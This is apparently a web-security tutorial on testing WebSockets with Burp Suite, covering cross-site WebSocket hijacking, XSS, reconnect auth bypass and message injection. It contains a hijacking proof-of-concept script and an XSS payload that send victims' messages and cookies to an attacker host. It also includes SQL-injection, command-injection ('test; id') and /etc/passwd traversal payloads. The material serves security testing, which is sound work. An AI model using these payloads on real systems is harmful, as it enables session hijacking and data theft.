WebSockets Security

What are WebSockets

WebSockets provide a persistent, bidirectional channel between browser and server. Unlike HTTP, they maintain an open connection and allow both sides to push messages at any time. Common in real-time apps: chat, live dashboards, gaming, trading platforms.

The handshake is HTTP — then the protocol upgrades. Because the handshake is HTTP, it inherits the same vulnerabilities (cookie-based auth, CSRF-like attacks on the upgrade request).

---

Detection

Find WebSocket connections in Burp

In Proxy → WebSockets history tab (next to HTTP history), all WS frames are captured automatically once you browse the app.

Look for:

• An HTTP 101 Switching Protocols response in HTTP history — that’s the upgrade.
• Messages in the WebSockets history tab.

Identify the handshake request (the GET with Upgrade: websocket header) — this is where authentication happens.

---

Manipulating WebSocket messages in Burp

Intercept and modify live messages

1. Proxy → Options → Intercept WebSockets messages — enable both client-to-server and server-to-client.
2. Browse to the WebSocket-powered feature.
3. Burp intercepts each frame in Proxy Intercept — modify and forward.

Replay messages in Repeater

1. In WebSockets history, right-click a message → Send to Repeater.
2. Repeater opens a WebSocket session; you can send arbitrary frames.
3. Modify payloads (inject SQLi, XSS, command injection) directly in the message body.

Fuzz WebSocket messages with Intruder

1. Right-click a WS message in history → Send to Intruder.
2. Mark injection points in the message payload.
3. Run the attack.

---

Cross-site WebSocket Hijacking (CSWSH)

CSWSH is CSRF for WebSocket connections. If the server authenticates the WS connection only via session cookies (no CSRF token on the handshake), an attacker can open a WS connection from their origin — the browser automatically sends the victim’s cookies.

Detection

Check the WebSocket handshake request:

• Does it include a CSRF token? If not → potentially vulnerable.
• Is Origin validated server-side? Test by changing the Origin header in Repeater.

GET /chat HTTP/1.1
Host: TARGET
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: abc123==
Sec-WebSocket-Version: 13
Origin: https://attacker.com       ← change this
Cookie: session=VICTIM_SESSION

If the server accepts the connection from https://attacker.com → vulnerable.

CSWSH PoC

<script>
  var ws = new WebSocket('wss://TARGET/chat');
  ws.onopen = function() {
    ws.send('READY');
  };
  ws.onmessage = function(e) {
    fetch('https://ATTACKER/?msg=' + btoa(e.data));
  };
</script>

Host this on your server. When the victim visits, the WebSocket connects using their session cookie. Every message the server sends (chat history, profile data, tokens) is exfiltrated.

---

XSS via WebSocket messages

If the server broadcasts messages to all connected clients without sanitisation, injecting an XSS payload into a message field stores it server-side and fires for every user who receives it:

{"message": "<img src=x onerror=fetch('https://ATTACKER/?c='+document.cookie)>"}

Test in Burp Repeater by sending the crafted message frame and observing the reflected content in other connected sessions.

---

Authentication bypass on reconnect

Some apps validate auth only on the initial HTTP handshake, not on reconnect. If the session expires mid-connection:

1. Establish a WS connection while authenticated.
2. Let your session cookie expire (or delete it).
3. Continue sending messages — if the server still responds, auth is not re-validated.

---

WebSocket message injection

Depending on how messages are processed server-side, inject:

SQL injection (if message content hits a query):

{"query": "' OR 1=1-- -"}

Command injection (if message triggers a system call):

{"filename": "test; id"}

Path traversal (if message references a file):

{"file": "../../../../etc/passwd"}

---

Burp Suite workflow

1. Proxy → WebSockets history — capture all WS frames automatically.
2. Repeater — reconnect, modify, and replay individual frames.
3. Intruder — fuzz WS message fields for injection.
4. Match and Replace — inject Origin: https://attacker.com on the handshake to test CSWSH.
5. Burp Collaborator — embed a Collaborator URL in a WS message to detect out-of-band interactions (blind injection).